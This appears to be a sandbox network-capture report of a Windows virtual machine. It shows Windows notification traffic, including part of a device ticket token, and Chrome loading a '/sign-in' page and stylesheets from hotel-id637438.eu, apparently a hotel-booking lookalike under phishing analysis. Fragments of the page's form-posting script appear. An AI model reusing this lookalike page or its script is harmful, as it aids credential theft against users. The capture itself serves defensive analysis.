Jul 9, 2024 00:44:46.835309982 CEST	1.1.1.1	192.168.2.6	0xe3a4	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.10	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:46.835309982 CEST	1.1.1.1	192.168.2.6	0xe3a4	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.18	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:21 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 65 76 4a 6b 66 35 79 48 30 57 6b 66 46 4d 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 38 33 36 63 65 30 62 66 32 35 32 63 33 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: FevJkf5yH0WkfFMB.1Context: e8836ce0bf252c36
2024-07-08 22:43:21 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-08 22:43:21 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 46 65 76 4a 6b 66 35 79 48 30 57 6b 66 46 4d 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 38 33 36 63 65 30 62 66 32 35 32 63 33 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: FevJkf5yH0WkfFMB.2Context: e8836ce0bf252c36<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-07-08 22:43:21 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 46 65 76 4a 6b 66 35 79 48 30 57 6b 66 46 4d 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 38 33 36 63 65 30 62 66 32 35 32 63 33 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: FevJkf5yH0WkfFMB.3Context: e8836ce0bf252c36<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-08 22:43:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-08 22:43:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 78 61 4a 31 4d 6f 4d 32 6b 47 67 70 55 59 4d 32 71 63 71 4a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7xaJ1MoM2kGgpUYM2qcqJA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49716	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:25 UTC	667	OUT	GET /sign-in HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:25 UTC	582	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8S3%2Bnn1z3RqjnOsNSzRCyieV4OPDGEqQd3OPdCoO%2BalFK%2BTZiOXch6Ot7CNaHwJwJnhZTsdDvk3IOgxnCXsH5%2FCKZm543fSZpyGVydSU9zcuNIYFZmqdVCPuOX3HSIc75f8UOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397d36844c33c-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:25 UTC	787	IN	Data Raw: 34 32 64 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 Data Ascii: 42db<!DOCTYPE html><html class="js" lang="en-us" dir="ltr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><style type="text/css" id="operaUserStyle"></style><script nonc
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3a 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 3a 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 64 61 74 61 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 75 6c 74 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 52 65 73 70 20 72 65 71 3a 27 2c 20 72 65 73 75 6c 74 29 3b 0a 20 20 20 Data Ascii: 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(response => response.json()) .then(result => { console.log('Resp req:', result);
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 3a 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 64 61 74 61 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 75 6c 74 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 52 65 73 70 20 72 65 71 3a 27 2c 20 72 65 73 75 6c 74 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 61 74 63 68 28 65 72 72 6f 72 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 72 65 71 3a 27 2c 20 65 Data Ascii: : JSON.stringify(data) }) .then(response => response.json()) .then(result => { console.log('Resp req:', result); }) .catch(error => { console.error('Error req:', e
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 79 5f 63 6f 6e 73 65 6e 74 5f 64 69 73 70 6c 61 79 65 64 22 3a 31 2c 22 6a 73 65 74 22 3a 7b 22 6d 22 3a 22 55 6d 46 75 5a 47 39 74 53 56 59 6b 63 32 52 6c 49 79 68 39 59 61 61 32 39 5f 33 78 55 4f 4c 62 61 69 4c 7a 4d 4c 6e 42 71 4b 6e 76 41 70 31 6d 66 71 46 47 69 68 75 64 77 70 41 6d 43 70 4d 41 5a 30 6c 6d 42 4b 4f 30 53 43 75 75 4d 6d 4e 38 48 51 6a 33 70 4b 30 39 39 4a 50 76 31 69 47 4f 68 74 51 56 79 52 63 63 53 36 70 39 51 55 2d 52 72 53 5a 6e 35 42 72 66 41 75 70 4a 6d 53 4d 2d 55 69 51 65 34 57 79 6f 72 62 66 45 46 44 65 33 31 79 38 37 36 75 72 68 6a 59 6b 6e 6e 70 45 2d 22 7d 2c 22 50 43 4d 22 3a 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 7b 22 63 6f 75 6e 74 72 79 22 3a 22 72 75 22 2c 22 72 65 67 69 6f 6e 22 3a 22 6e 69 7a 22 7d 2c 22 75 6e 69 66 69 Data Ascii: y_consent_displayed":1,"jset":{"m":"UmFuZG9tSVYkc2RlIyh9Yaa29_3xUOLbaiLzMLnBqKnvAp1mfqFGihudwpAmCpMAZ0lmBKO0SCuuMmN8HQj3pK099JPv1iGOhtQVyRccS6p9QU-RrSZn5BrfAupJmSM-UiQe4WyorbfEFDe31y876urhjYknnpE-"},"PCM":{"location":{"country":"ru","region":"niz"},"unifi
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 76 22 2c 22 6e 68 22 2c 22 6e 6a 22 2c 22 6e 6d 22 2c 22 6e 79 22 2c 22 6e 63 22 2c 22 6e 64 22 2c 22 6f 68 22 2c 22 6f 6b 22 2c 22 6f 72 22 2c 22 70 61 22 2c 22 72 69 22 2c 22 73 63 22 2c 22 73 64 22 2c 22 74 6e 22 2c 22 74 78 22 2c 22 75 74 22 2c 22 76 74 22 2c 22 76 61 22 2c 22 77 61 22 2c 22 77 76 22 2c 22 77 69 22 2c 22 77 79 22 2c 22 64 63 22 5d 7d 7d 7d 7d 2c 22 66 65 61 74 75 72 65 73 22 3a 7b 22 69 73 5f 6d 6f 62 69 6c 65 5f 61 70 70 22 3a 22 22 2c 22 69 73 5f 63 6f 6c 6f 6d 62 69 61 5f 65 78 74 72 61 6e 65 74 5f 73 69 67 6e 75 70 5f 65 6e 61 62 6c 65 64 22 3a 22 22 2c 22 63 72 65 61 74 65 5f 61 63 63 6f 75 6e 74 5f 65 6e 61 62 6c 65 64 22 3a 31 2c 22 70 68 6f 6e 65 5f 73 69 67 6e 75 70 5f 61 6c 6c 6f 77 65 64 22 3a 30 2c 22 73 6f 63 69 61 6c 5f Data Ascii: v","nh","nj","nm","ny","nc","nd","oh","ok","or","pa","ri","sc","sd","tn","tx","ut","vt","va","wa","wv","wi","wy","dc"]}}}},"features":{"is_mobile_app":"","is_colombia_extranet_signup_enabled":"","create_account_enabled":1,"phone_signup_allowed":0,"social_
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 66 6c 61 67 22 3a 22 73 6b 22 2c 22 63 6f 64 65 22 3a 22 73 6b 22 7d 2c 7b 22 74 65 78 74 22 3a 22 53 75 6f 6d 69 22 2c 22 66 6c 61 67 22 3a 22 66 69 22 2c 22 63 6f 64 65 22 3a 22 66 69 22 7d 2c 7b 22 74 65 78 74 22 3a 22 53 76 65 6e 73 6b 61 22 2c 22 66 6c 61 67 22 3a 22 73 65 22 2c 22 63 6f 64 65 22 3a 22 73 76 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 76 69 22 2c 22 66 6c 61 67 22 3a 22 76 6e 22 2c 22 74 65 78 74 22 3a 22 54 69 5c 75 30 30 65 61 5c 75 30 33 30 31 6e 67 20 56 69 5c 75 30 30 65 61 5c 75 30 33 32 33 74 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 74 72 22 2c 22 66 6c 61 67 22 3a 22 74 72 22 2c 22 74 65 78 74 22 3a 22 54 5c 75 30 30 66 63 72 6b 5c 75 30 30 65 37 65 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 63 61 22 2c 22 66 6c 61 67 22 3a 22 63 61 74 61 6c 6f Data Ascii: flag":"sk","code":"sk"},{"text":"Suomi","flag":"fi","code":"fi"},{"text":"Svenska","flag":"se","code":"sv"},{"code":"vi","flag":"vn","text":"Ti\u00ea\u0301ng Vi\u00ea\u0323t"},{"code":"tr","flag":"tr","text":"T\u00fcrk\u00e7e"},{"code":"ca","flag":"catalo
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 31 30 64 63 5c 75 31 30 64 30 22 7d 2c 7b 22 74 65 78 74 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 22 2c 22 63 6f 64 65 22 3a 22 7a 68 2d 63 6e 22 2c 22 66 6c 61 67 22 3a 22 63 6e 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 6a 61 22 2c 22 66 6c 61 67 22 3a 22 6a 70 22 2c 22 74 65 78 74 22 3a 22 5c 75 36 35 65 35 5c 75 36 37 32 63 5c 75 38 61 39 65 22 7d 2c 7b 22 74 65 78 74 22 3a 22 5c 75 37 65 34 31 5c 75 39 61 64 34 5c 75 34 65 32 64 5c 75 36 35 38 37 22 2c 22 63 6f 64 65 22 3a 22 7a 68 2d 74 77 22 2c 22 66 6c 61 67 22 3a 22 7a 34 22 7d 2c 7b 22 63 6f 64 65 22 3a 22 6b 6f 22 2c 22 66 6c 61 67 22 3a 22 6b 72 22 2c 22 74 65 78 74 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 7d 5d 2c 22 73 74 61 74 65 22 3a 6e 75 6c 6c 2c 22 73 75 70 70 6f Data Ascii: 10dc\u10d0"},{"text":"\u4e2d\u6587","code":"zh-cn","flag":"cn"},{"code":"ja","flag":"jp","text":"\u65e5\u672c\u8a9e"},{"text":"\u7e41\u9ad4\u4e2d\u6587","code":"zh-tw","flag":"z4"},{"code":"ko","flag":"kr","text":"\ud55c\uad6d\uc5b4"}],"state":null,"suppo
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 37 33 22 7d 2c 7b 22 74 65 78 74 22 3a 22 4c 61 74 76 69 73 6b 69 22 2c 22 76 61 6c 75 65 22 3a 22 6c 76 22 7d 2c 7b 22 74 65 78 74 22 3a 22 42 61 68 61 73 61 20 4d 61 6c 61 79 73 69 61 22 2c 22 76 61 6c 75 65 22 3a 22 6d 73 22 7d 2c 7b 22 76 61 6c 75 65 22 3a 22 6e 6c 22 2c 22 74 65 78 74 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 7d 2c 7b 22 76 61 6c 75 65 22 3a 22 6e 6f 22 2c 22 74 65 78 74 22 3a 22 4e 6f 72 73 6b 22 7d 2c 7b 22 76 61 6c 75 65 22 3a 22 70 6c 22 2c 22 74 65 78 74 22 3a 22 50 6f 6c 73 6b 69 22 7d 2c 7b 22 76 61 6c 75 65 22 3a 22 70 74 2d 62 72 22 2c 22 74 65 78 74 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 42 52 29 22 7d 2c 7b 22 74 65 78 74 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 54 29 22 2c 22 76 61 6c Data Ascii: 73"},{"text":"Latviski","value":"lv"},{"text":"Bahasa Malaysia","value":"ms"},{"value":"nl","text":"Nederlands"},{"value":"no","text":"Norsk"},{"value":"pl","text":"Polski"},{"value":"pt-br","text":"Portugu\u00eas (BR)"},{"text":"Portugu\u00eas (PT)","val
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 2b 33 37 34 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 61 6d 22 2c 22 6e 61 6d 65 22 3a 22 41 72 6d 65 6e 69 61 22 7d 2c 7b 22 70 72 65 66 69 78 22 3a 22 2b 32 34 34 22 2c 22 6e 61 6d 65 22 3a 22 41 6e 67 6f 6c 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 61 6f 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 41 6e 74 61 72 63 74 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 61 71 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 36 37 32 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 41 72 67 65 6e 74 69 6e 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 61 72 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 35 34 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 61 73 22 2c 22 6e 61 6d 65 22 3a 22 41 6d 65 72 69 63 61 6e 20 53 61 6d 6f 61 Data Ascii: +374","country_code":"am","name":"Armenia"},{"prefix":"+244","name":"Angola","country_code":"ao"},{"name":"Antarctica","country_code":"aq","prefix":"+672"},{"name":"Argentina","country_code":"ar","prefix":"+54"},{"country_code":"as","name":"American Samoa
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 22 7d 2c 7b 22 70 72 65 66 69 78 22 3a 22 2b 31 20 32 34 32 22 2c 22 6e 61 6d 65 22 3a 22 42 61 68 61 6d 61 73 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 73 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 42 68 75 74 61 6e 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 74 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 39 37 35 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 42 6f 74 73 77 61 6e 61 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 77 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 32 36 37 22 7d 2c 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 62 79 22 2c 22 6e 61 6d 65 22 3a 22 42 65 6c 61 72 75 73 22 2c 22 70 72 65 66 69 78 22 3a 22 2b 33 37 35 22 7d 2c 7b 22 70 72 65 66 69 78 22 3a 22 2b 35 30 31 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 Data Ascii: "},{"prefix":"+1 242","name":"Bahamas","country_code":"bs"},{"name":"Bhutan","country_code":"bt","prefix":"+975"},{"name":"Botswana","country_code":"bw","prefix":"+267"},{"country_code":"by","name":"Belarus","prefix":"+375"},{"prefix":"+501","country_code

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49715	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:25 UTC	575	OUT	GET /static/839_c32002792e35c69191e8.css HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:25 UTC	726	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:25 GMT Content-Type: text/css; charset=utf-8 Content-Length: 231572 Connection: close last-modified: Sat, 06 Jul 2024 13:10:50 GMT etag: "5aefe53869598e9a835a12cee16b9c51" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6876 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2FrjaYrXkdKOYDywT8tbKBDurx%2BOgphsVNR4KagRv52exyaQJ33bkCgWh6H5wSlKcMM2jq9slgoQ%2BtfRWZfUGv7Qbt0UjWOv%2BOpmdgCs0w6IGig6Z9wGnj9Ofqk%2Bx2nRBMJykw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397d5bdc38cca-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:25 UTC	643	IN	Data Raw: 2e 54 32 72 57 4e 70 70 50 68 6b 74 53 59 73 6b 6a 55 76 31 79 7b 70 6f 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 54 32 72 57 4e 70 70 50 68 6b 74 53 59 73 6b 6a 55 76 31 79 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 2d 2d 73 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 2d 2d 73 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 54 32 72 57 4e 70 70 50 68 6b 74 53 59 73 6b 6a 55 76 31 79 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 70 6f 73 69 74 69 6f 6e 2d 2d 6d 22 5d 7b 2d Data Ascii: .T2rWNppPhktSYskjUv1y{position:var(--bui_mixin_position)!important}.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--s"]{--bui_mixin_position:var(--bui_mixin_position--s)}@media (min-width:576px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--m"]{-
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 4c 48 75 6b 35 49 42 39 6d 57 37 74 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 62 75 69 5f 7a 5f 69 6e 64 65 78 5f 31 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 50 77 4c 5a 6e 6f 4f 36 63 5a 63 7a 69 38 4c 76 54 73 34 4e 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 62 75 69 5f 7a 5f 69 6e 64 65 78 5f 32 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 4a 32 5f 43 55 38 4f 77 37 50 45 69 6c 68 6e 55 38 49 6d 31 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 62 75 69 5f 7a 5f 69 6e 64 65 78 5f 33 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 65 6b 61 71 49 56 36 46 48 4c 58 4b 37 44 44 75 58 57 54 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 62 75 69 5f 7a 5f 69 6e 64 65 78 5f 34 29 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 Data Ascii: LHuk5IB9mW7t{z-index:var(--bui_z_index_1)!important}.PwLZnoO6cZczi8LvTs4N{z-index:var(--bui_z_index_2)!important}.J2_CU8Ow7PEilhnU8Im1{z-index:var(--bui_z_index_3)!important}.iekaqIV6FHLXK7DDuXWT{z-index:var(--bui_z_index_4)!important}@media (min-width:57
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 68 65 69 67 68 74 2d 2d 73 29 7d 2e 76 33 76 52 66 65 48 79 55 6b 4c 4f 48 79 33 73 66 5a 37 69 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 68 65 69 67 68 74 2d 2d 73 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 68 65 69 67 68 74 2d 2d 73 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 76 33 76 52 66 65 48 79 55 6b 4c 4f 48 79 33 73 66 5a 37 69 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 68 65 69 67 68 74 2d 2d 6d 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 Data Ascii: (--bui_mixin_height--s)}.v3vRfeHyUkLOHy3sfZ7i[style="--bui_mixin_spaced_height--s"]{--bui_mixin_height:calc(var(--bui_mixin_spaced_height--s)var(--bui_spacing_1x))}@media (min-width:576px){.v3vRfeHyUkLOHy3sfZ7i[style*="--bui_mixin_height--m"]{--bui_mixi
